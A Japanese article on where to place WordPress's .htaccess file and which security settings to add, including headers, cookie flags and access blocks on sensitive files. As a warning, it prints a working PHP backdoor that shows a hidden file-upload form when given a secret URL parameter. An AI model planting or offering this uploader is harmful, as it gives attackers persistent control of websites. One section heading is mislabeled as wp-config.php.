htaccessはWordPressのどこ?推奨設定は?

.htaccessは、WordPressのどこにあるのでしょうか。また、どこに設置すればよいでしょうか。設置場所と、推奨のセキュリティ設定についてまとめました。

目次

1. 「.htaccess」はWordPressのどこにあるか

「.htaccess」はWordPressのどこにあるかについて説明します。「.htaccess」は、WordPressのインストール媒体には含まれていません。自分で作成する必要があります。

2. 「.htaccess」はWordPressのどこに置くか

「.htaccess」はWordPressのどこに置くかについて説明します。

WordPressが1番上の階層にある場合

ホームページを設置する場所は、「公開パス」と呼ばれるもので指定されています。以下の画像を例に挙げますと、「/var/www/ホームページ設置場所/」という公開パスが、ホームページを設置する場所として指定されています。

この場所を基準に、「.htaccess」をどこに置くか説明していきます。

WordPressのインストール媒体が、1番上の階層に置かれている場合は、同じように、1番上の階層に「.htaccess」を置きます。

その他の場合

「.htaccess」にWordPress関連の設定を記述する場合、「.htaccess」を置く場所は2カ所あります。1つは、WordPressを実行する設定が書いてある「.htaccess」です。こちらは、WordPressのインストール媒体を設置した場所と同じ階層に置きます。もう1つは、WordPressのインストール媒体の直下に置きます。

3. 「.htaccess」とはどんな設定ファイルか

「.htaccess」とは、どのような設定ファイルでしょうか? 「.htaccess」は、ApacheというWebサーバーの設定ファイルになります。

Webサーバーは、ホームページを表示するためのソフトウェアです。

4. WordPressとはなにか、どんなファイルがあるか

そもそも、WordPressとはどのようなもので、どんなファイルがあるのでしょうか。「.htaccess」の設定について理解を深めるため、WordPressについても触れておきます。

WordPressはCMSツールです。CMSには投稿機能があり、ログインすると、ダッシュボードへアクセスします。

ダッシュボードから簡単にホームページを編集できるのが、CMSというツールです。プログラムはPHPで書かれていて、MySQLというデータベースに情報が保存されます。

WordPressにはホームページのページを表示するためのファイルとログインページ、ダッシュボードを表示するためのファイルがあります。またデータベースの接続先などを記述した設定ファイル、ウェブからのAPI実行するためのファイルなどがあります。

  • ホームページのページを表示するためのファイル

    ・・・index.php、wp-blog-header.php、wp-content、wp-includesなど

  • ログインページ、ダッシュボードを表示するためのファイル

    ・・・wp-login.php、wp-adminなど

  • データベースの接続先などを記述した設定ファイル

    ・・・wp-config.php

  • ウェブからのAPI実行するためのファイル

    ・・・xmlrpc.phpなど

5. 「.htaccess」に一般的に記述するWordPressの設定

WordPressがホームページ設置場所の一番上にない場合はWordPressを実行する記述を.htaccessに記述する必要があります。ホームページ設置場所の一番上にある場合は特に記述する必要はありません。

記載する「.htaccess」の記述は以下です。


# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

この場合、index.phpを「.htaccess」と同じところに作成する必要があります。index.phpの記述例は以下です。


<?php
define('WP_USE_THEMES', true);
require( dirname( __FILE__ ) . '/wordpress/wp-blog-header.php' );
?>

6. 「.htaccess」に記述する推奨のセキュリティ設定

「.htaccess」を記述するならついでに以下を設定しておきたいです。インストール可能な状態のWordPressはクラッカーのクロールロボットが探していて狙われやすいです。実際にWordPressの乗っ取り被害対応を行った際にこれが原因のケースがありました。勝手にインストールされてダッシュボードからファイルアップロードツールやスパムメール配信ツールがわからないように設置される恐れがあります。

データベースの接続先を設定する前に記述しておきましょう。以下では、「.htaccess」に記述する推奨のWordPressのセキュリティ設定例と設定内容の解説していきます。

まずは具体的な「.htaccess」に記述例です。運用に支障のある設定は下の解説を見て外してください。

以下は、現在主流のApache 2.4を使用している場合の設定例です。2.2以前の場合は「Require all denied」の記述方法が異なりますので注意が必要です。


<ifModule mod_headers.c>
Header always set X-XSS-Protection "1; mode=block"
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options DENY
Header always set X-Download-Options: noopen
Header always set X-Powered-By: ""
</ifModule>

<IfModule mod_php5.c>
php_flag session.cookie_httponly on
php_flag session.cookie_secure on
</IfModule>

<IfModule mod_php7.c>
php_flag session.cookie_httponly on
php_flag session.cookie_secure on
</IfModule>

<Files xmlrpc.php>
Require all denied
</Files>

<Files wp-config.php>
Require all denied
</Files>

<Files wp-login.php>
Require all denied
Require ip <利用者のグローバルIPアドレス>
</Files>

<Files readme.html>
Require all denied
</Files>

HTTPヘッダ関連の設定

HTTPヘッダは、ページを表示する際の通信で送られる情報のヘッダ部分に設定する項目になります。ブラウザの開発者ツールなどで確認できます。以下の部分の解説を行っていきます。


<ifModule mod_headers.c>
Header always set X-XSS-Protection "1; mode=block"
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options DENY
Header always set X-Download-Options: noopen
Header always set X-Powered-By: ""
</ifModule>

「.htaccess」の「X-Powered-By」の解説

レスポンンスヘッダのX-Powered-Byパラメータには、PHPなど実装言語のバージョン情報が表示されます。公開されているバグ情報など攻撃の方法が絞り込めるため、リスクになります。この表示は表示できないようにすることができますので、表示されないようにします。

参考)クロスサイトスクリプティング(XSS)攻撃

「XSS」とは、攻撃者が作った不正なスクリプトを、被害者のWebブラウザーで実行する攻撃です。

続きを読む

「.htaccess」の「X-Frame-Options」の解説

X-Frame-Optionsパラメータは、HTMLないでFrameタグの機能の制御を行います。クリックジャッキング攻撃などFrameタグを利用しますので制限しておきます。

X-Frame-Optionsが表示され、DENY(全く許可しない)、SAMEORIGIN(自身と生成元が同じフレーム内に限り許可)などの設定が行えます。

参考)クリックジャッキング攻撃

「クリックジャッキング」とは、ユーザーをだまし、特定の場所をクリックさせることで攻撃を行う手法のことです。本記事では、「クリックジャッキング」の攻撃手法や被害実例、最低限やっておきたい対策方法を紹介しています。

続きを読む

「.htaccess」の「X-XSS-Protection」の解説

X-XSS-Protectionパラメータは、ブラウザのクロスサイトスクリプティング(XSS)のフィルタ機能を有効/無効にします。

「X-XSS-Protection: 1; mode=block」のように設定します。「0:XSSフィルタを無効にする。 1:XSSフィルタを有効にする。」です。

「.htaccess」の「X-Content-Type-Options」の解説

ブラウザによっては、コンテンツの内容からファイルを推測する仕様となっています。X-Content-Type-Optionsパラメータに、nosniffとしてすると、このファイルタイプの推測が動作しなくできます。

「.htaccess」の「X-Download-Options」の解説

IEでX-Download-Optionsでファイルダウンロード時のダイアログを制御します。noopenとすることでIE8以降ではユーザーはファイルを直接開くことができないようになります。デフォルトのブラウザの設定がそうなっているケースが多いので念のため記述しておく、攻撃者への威嚇みたいなつもりで記述しておきます。

「.htaccess」の「Set-Cookie」パラメータの「secure」の解説

クッキーを使用したページの表示の際にhttpでそのやり取りをするとは盗聴されたり改ざんされる恐れがあるので、httpsのときだけやり取りできるようにします。httpsに対応していない場合は設定できません。

「.htaccess」の「Set-Cookie」パラメータの「HttpOnly」の解説

Set-Cookieパラメータの「HttpOnly」属性を設定することでCookieをJavaScriptからアクセスできないようにできます。
クロスサイトスクリプティング攻撃などを利用してCookieを採取され、セッションハイジャックのリスクを解消します。

レスポンスヘッダ関連のその他の設定

例にありませんが、httpsに対応している場合は、Strict-Transport-Securityパラメータも設定しておきたいです。Strict-Transport-Securityを設定することで指定されたサイトが常にHTTPSを使ってアクセスするようにブラウザに指示できます。max-ageは有効にする期間、includeSubDomainsでサブドメインにもルールを適用します。

ファイルへのURLアクセスの制限

ログイン画面など万が一アカウント情報が漏洩してしまった場合に乗っ取り被害に遭ってしまいます。以下の記述のファイルへのURLアクセスの制限について解説していきます。


<Files xmlrpc.php>
Require all denied
</Files>

<Files wp-config.php>
Require all denied
</Files>

<Files wp-login.php>
Require all denied
Require ip <利用者のグローバルIPアドレス>
</Files>

<Files readme.html>
Require all denied
</Files>

「.htaccess」の「xmlrpc.php」の解説

スマホのアプリなどと連携してWordPressを更新するなどの用途のため「xmlrpc.php」ファイルがあります。Dos攻撃でホームページに負荷を与えて表示できないようにされるリスクが増えるため、アクセスできないようにしています。使用したい場合は記述を削除してください。

「.htaccess」の「wp-config.php」の解説

WordPressが使用するデータベースの接続先などを記述するWordPressの設定ファイルです。WEBサーバの設定ミスなどで中身が表示できてしまうような事態を想定して、URLアクセスできないようにしておきます。

「.htaccess」の「wp-login.php」の解説

もしアカウント流出したり、インストール前にセットアップを実行されてダッシュボードに侵入されそうになっても大丈夫なようにログイン画面に制限をかけておきます。グローバルIPアドレスのところはご自身のものに変更してください。固定IPでない場合などはBASIC認証などで置き換えてもいいです。

いつの間にかバックドアが設置されてしまったら大変です。バックドアは気づかれずに後で侵入するための裏口みたいなものです。バックドアが仕込まれたら最後、サーバ全体に感染が広がります。そのようなエグい被害が起きています。

バックドアの例

例えば、以下のようなURLのパラメータがある場合にファイルをアップロードフォームを表示するアップロードツールです。ネットで検索してみてください被害の形跡が見つかると思います。


<?php
error_reporting(0);
$system = $_GET['saw'];
if($system == 'mrvx'){
$saw1 = $_FILES['file']['tmp_name'];
$saw2 = $_FILES['file']['name'];
echo "<form method='POST' enctype='multipart/form-data'>
<input type='file'name='file' />
<input type='submit' value='TLS/s' />
</form>";
move_uploaded_file($saw1,$saw2);
}
?>

「.htaccess」の「wp-config.php」の解説

現在は表示されませんが、古いバージョンのWordPressはバージョン情報が表示されます。古いWordPressのバージョンがわかると様々な脆弱性が公開されておりますので危険です。他にも表示される部分はありますが注意喚起のため記載させていただきました。


<Files readme.html>
Require all denied
</Files>

最後に

インストール時のセットアップページが狙われる、ログインアカウントの漏洩や単純なパスワードが原因となることが多いです。同様のWordPressの被害が減らせればと思い「.htaccess」配置時を想定して記事を書かせていいただきました。参考になればと思います。